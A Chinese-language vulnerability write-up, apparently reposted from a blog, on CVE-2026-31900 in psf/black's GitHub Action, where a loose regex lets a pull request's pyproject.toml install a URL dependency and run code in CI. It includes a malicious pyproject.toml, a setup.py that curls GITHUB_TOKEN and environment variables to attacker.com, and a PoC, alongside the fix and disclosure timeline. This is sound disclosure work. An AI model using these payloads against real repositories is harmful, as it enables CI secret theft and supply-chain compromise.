文章总结: 文档详述了CVE-2026-31900漏洞,因psf/black的GitHubAction中正则表达式过于宽松,导致攻击者可通过恶意PR在CIRunner上执行任意代码。当启用use_pyproject参数时,攻击者利用URL依赖注入绕过校验窃取凭据。官方已在v26.3.0修复,建议升级或禁用该参数,强调CI环境需使用白名单严格验证输入。 综合评分: 95 文章分类: 漏洞分析,漏洞预警,供应链安全
CVE-2026-31900:一个过于宽松的正则表达式如何在 psf/black 的 GitHub Action 中导致 RCE
haidragon haidragon
安全狗的自我修养
2026年3月11日 12:05 湖南
官网:http://securitytech.cc
引言
Black 是 Python 生态中著名的代码格式化工具,被称为 “The uncompromising Python code formatter(毫不妥协的 Python 代码格式化工具)”,由 Python Software Foundation 创建。
它在 GitHub 上拥有 41k+ stars,累计下载量超过 22 亿次,被全球成千上万的开源项目使用,是 Python 代码格式化的事实标准。
Black 的设计目标非常简单:
- 只做 一件事:格式化代码
- 不执行用户输入
- 不发起网络请求
- 不与外部服务交互
因此在大多数开发者心中,它属于 完全安全的开发工具。
但正是这个假设,让这次发现变得非常有趣。
在一次常规开源安全研究中,我发现了 CVE‑2026‑31900。 这是一个 高危漏洞(CVSS 8.7),存在于 Black 官方的 GitHub Action 中。
攻击者只需:
- 提交一个 Pull Request
- 不需要维护者交互
- 不需要仓库权限
就可以在目标仓库的 CI Runner 上执行任意代码(RCE)。
漏洞的根本原因:
一个过于宽松的正则表达式。
跟随我的 SAST 工具发现漏洞
我的开源安全研究方法比较专注:
- 只研究 Python 项目
- 使用自己开发的 SAST 工具扫描代码
工具:
PySpector
该工具会对我手动挑选的仓库进行静态分析。
在一次扫描中,PySpector 标记了一段代码(后来证明是误报)。
但在同一输出中,一个文件引起了我的注意:
action/main.py
这个路径明显属于 GitHub Action。
在这个文件中我发现了一段正则表达式:
BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)
在 GitHub Action 中,处理 用户输入 的正则表达式通常用于:
- 校验输入
- 清理输入
于是我开始思考:
这个正则到底想阻止什么? 它真的阻止了吗?
漏洞触发的 Workflow 配置
漏洞只在某个配置启用时存在。
Black 的 GitHub Action 支持一个参数:
use_pyproject
当设置为:
use_pyproject: true
Action 会从仓库中的 pyproject.toml 读取 Black 的版本号,而不是写死在 workflow YAML 中。
典型的 vulnerable workflow:
name: black
on: [pull_request]
jobs:
black:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: psf/black@stable
with:
use_pyproject: true
这个配置其实很合理:
遵循 DRY(Don’t Repeat Yourself)原则
既然 pyproject.toml 已经指定版本,就没必要在 YAML 再写一次。
问题在于:
当 pyproject.toml 来自 PR 时,它是攻击者控制的。
为什么 use_pyproject 很危险
危险来自两个事实:
1️⃣ pyproject.toml 从哪里读取
当 GitHub Action 触发:
pull_request
步骤:
actions/checkout
会 checkout PR 分支代码。
因此读取的文件:
pyproject.toml
来自 PR 作者。
也就是说:
攻击者可以完全控制这个文件。
代码读取方式:
withPath("pyproject.toml").open("rb") asfp:
pyproject=tomllib.load(fp)
没有:
- 分支验证
- 信任边界
- 基准分支检查
2️⃣ 读取后会发生什么
代码会搜索 Black 的依赖版本:
forarrayinitertools.chain(
pyproject.get("dependency-groups", {}).values(),
pyproject.get("project", {}).get("dependencies"),
*pyproject.get("project", {}).get("optional-dependencies", {}).values(),
):
version=find_black_version_in_array(array)
然后应用刚才的正则表达式。
正则表达式漏洞分析
漏洞代码:
BLACK_VERSION_RE = re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)
目标是匹配:
black==24.1.0
black>=23.0
并提取版本号。
问题在于:
re.IGNORECASE
字符类:
[^A-Z0-9._-]
意味着:
排除:
- 字母
- 数字
- 点
- 下划线
- 横线
但允许:
- 空格
- @
- :
- /
- URL
Python 依赖语法(PEP 508)
Python 依赖允许 URL 形式:
package @ https://example.com/package.tar.gz
于是我构造 payload:
black @ https://files.pythonhosted.org/.../pyspector-0.1.6.tar.gz
匹配结果:
^black -> "black"
[^A-Z0-9._-]+ -> " @ "
.* -> "https://attacker.com/malicious.tar.gz"
group(1) -> " @ https://attacker.com/malicious.tar.gz"
最终构造 pip 命令:
pip install black @ https://attacker.com/malicious.tar.gz
恶意 pyproject.toml
攻击 payload 只有一个文件:
[project]
name = "project-name"
version = "1.0.0"
dependencies = [
"black @ https://attacker.com/malicious_black.tar.gz"
]
没有:
- shellcode
- binary exploit
- 混淆
只是一个 URL 依赖。
恶意 Python 包
恶意包可以非常简单:
fromsetuptoolsimportsetup
importos
os.system("curl https://attacker.com/exfil?token=$GITHUB_TOKEN")
os.system("env | curl -X POST https://attacker.com/exfil -d @-")
setup(name="black", version="xx.x.x")
注意:
包名必须是:
black
否则 pip 会在 安装后校验失败。
但此时 payload 已执行。
在 CI Runner 中执行
为了验证漏洞,我创建了测试仓库:
- 启用 vulnerable workflow
- fork 提交恶意 PR
Action log:
日志显示:
- pip 执行构建
- build backend 已运行
- 然后才因为包名不匹配失败
攻击代码 已经执行。
Token 与 Secret 窃取场景
真实攻击场景:
开源项目维护者配置:
- 每个 PR 运行 Black
- 使用
use_pyproject: true - 触发器:
pull_request
攻击流程:
1️⃣ 攻击者 fork 仓库
2️⃣ 添加恶意 pyproject.toml
3️⃣ 提交 PR
GitHub Action 自动执行。
CI 环境可能包含:
- GitHub Token
- AWS / GCP 凭据
- Deployment keys
- API keys
- PyPI 发布 token
攻击者可窃取这些 secrets。
更严重的情况
如果使用:
pull_request_target
权限更高。
攻击者可以:
- 修改仓库
- 注入供应链攻击
- 网络扫描内部资源
- 植入持久访问
静态 PoC
PoC 演示:
1️⃣ 正则绕过 2️⃣ pip 接受 URL 依赖
importre
importsubprocess
importsys
BLACK_VERSION_RE=re.compile(r"^black([^A-Z0-9._-]+.*)$", re.IGNORECASE)
MALICIOUS_ENTRY="black @ https://attacker.com/malicious.tar.gz"
SAFE_WHEEL_URL="https://files.pythonhosted.org/.../black.whl"
m=BLACK_VERSION_RE.match(MALICIOUS_ENTRY)
pip_req=f"black{m.group(1)}"
print(pip_req)
subprocess.run([
sys.executable,
"-m",
"pip",
"install",
"--dry-run",
f"black @ {SAFE_WHEEL_URL}"
])
修复方案
漏洞已在 Black v26.3.0 修复。
修复方式:
- 移除宽松正则
- 使用严格版本校验
- 拒绝 URL 依赖
使用:
psf/black@stable
的用户已自动修复。
如果 workflow 固定版本:
需要 尽快升级。
临时解决方案:
删除:
use_pyproject: true
披露时间线
漏洞报告发送给:
[email protected]
流程:
- 当天确认
- 6 小时内验证漏洞
- 立即开始修复
4 天内完成:
- patch 发布
- advisory 发布
漏洞编号:
- CVE‑2026‑31900
- GHSA-v53h-f6m7-xcgm
总结
CVE-2026-31900(作者戏称为 Black Eye)展示了一个典型问题:
漏洞并不在 Black 本身。
而是在:
GitHub Action 与配置文件之间的边界。
典型危险模式:
read repo file
↓
pass to installer
↓
RCE
任何 CI 系统中出现:
读取仓库文件
→ 传递给执行器
都需要严格审计。
安全原则:
使用 Allowlist 验证输入 而不是 Denylist。
- 公众号:安全狗的自我修养
- vx:2207344074
- http://gitee.com/haidragon
- http://github.com/haidragon
- bilibili:haidragonx
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《CVE-2026-31900:一个过于宽松的正则表达式如何在 psf/black 的 GitHub Action 中导致 RCE》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








![WriteUp|【NSSCTF每日一题】[HNCTF2022Week1]python2input(JAIL)](/images/random/titlepic/6.jpg)
评论